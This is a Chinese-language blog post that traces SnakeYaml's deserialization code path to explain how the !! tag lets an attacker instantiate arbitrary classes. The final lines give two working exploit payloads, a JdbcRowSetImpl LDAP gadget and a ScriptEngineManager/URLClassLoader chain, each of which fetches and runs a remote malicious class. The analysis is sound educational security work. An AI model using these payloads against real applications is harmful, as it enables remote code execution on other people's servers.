Yaml是一种“是一个可读性高而且容易被人类阅读,容易和脚本语言交互,用来表达资料序列的编程语言。”相似于XML但比XML更简洁,语法详见

⽬前有很多可以⽣成和解析YAML的第三⽅⼯具,常见的,如SnakeYaml,jYaml,Jackson等,不同工具的用法不同,今天分析一下SnakeYaml反序列化的原理以及反序列化漏洞产生原因。

快速开始
下载依赖:

        <dependency>
            <groupId>org.yaml</groupId>
            <artifactId>snakeyaml</artifactId>
            <version>1.27</version>
        </dependency>

新建一个Test类:

    public class Test {
        private String name;

        public String getName() {
            return name;
        }

        public void setName(String name) {
            this.name = name;
        }
    }

通过Yaml.dump序列化Test对象:

Test test = new Test();
        test.setName("123");
        Yaml yaml = new Yaml();
        System.out.println(yaml.dump(test));

可以看到输出内容,SnakeYaml序列化后的格式为!!(类名){ 属性名称 :属性 }:
image.png

跟踪调试
然后通过yaml.load反序列化,下断点跟进一下反序列化的过程:
image.png

Yaml.load方法会先new一个StreamReader对象,将String类型转化为StreamReader,然后再去调用loadFromReader方法:
image.png

loadFromReader方法传入了两个参数,streamReader和type,并调用了getSingleData方法:
image.png
getSingleData先创建一个Node对象(其中调用getSingleNote()会根据流来生成一个文件,即将字符串按照yaml语法转为Node对象:
image.png

然后进行了判断node是否为空和判断node的tag是否为空,如果不为空那么判断传入的type是否为Object类型和是否有rootTag

if (node != null && !Tag.NULL.equals(node.getTag())) {
            if (Object.class != type) {
                node.setTag(new Tag(type));
            } else if (this.rootTag != null) {
                node.setTag(this.rootTag);
            }

然后这里的条件都不满足,直接执行了constructDocument方法,继续跟进到getClassForNode方法:
image.png

constructDocument调用constructObject
image.png

继续跟进:constructObject中判断constructedObjects是否已经包含node,如果不包含就会执行constructObjectNoCheck方法:
image.png

继续跟进,

Object data = this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : constructor.construct(node);

这里调用了constructor.construct方法:

查看Construct类的实现,调用了getConstructor方法:
image.png

getConstructor方法调用了getClassForNode方法:
image.png

这里可以看到

String name = node.getTag().getClassName();

getClassName方法先判断是否以tag:yaml.org,2002:开头,然后调用UriEncoder.decode方法:

    public String getClassName() {
        if (!this.value.startsWith("tag:yaml.org,2002:")) {
            throw new YAMLException("Invalid tag: " + this.value);
        } else {
            return UriEncoder.decode(this.value.substring("tag:yaml.org,2002:".length()));
        }
    }

UriEncoder.decode方法:

public static String decode(String buff) {
        try {
            return URLDecoder.decode(buff, "UTF-8");
        } catch (UnsupportedEncodingException var2) {
            throw new YAMLException(var2);
        }
    }

image.png

122行 getClassForNode方法通过反射方式寻找反序列化的类:
image.png

然后通过调用目标类的set方法:

image.png

因此可以通过利用JdbcRowSetImpl类链构造Poc:
!!com.sun.rowset.JdbcRowSetImpl dataSourceName: “ldap://localhost:9999/Evil” autoCommit: true

另一个利用思路,通过SPI机制和ScriptEngineManager远程加载恶意的类:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://localhost:9999/”]]]]

文章作者: TestNet
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 TestNet
代码审计 代码审计
喜欢就支持一下吧